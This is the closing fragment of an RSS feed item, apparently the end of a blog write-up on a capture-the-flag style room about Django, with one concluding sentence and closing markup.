<p>With that, this room has successfully taught me the basics of Django and how to use it against devs! Hope it helped you in some way 😏!</p>
<hr />
]]></content:encoded></item></channel></rss>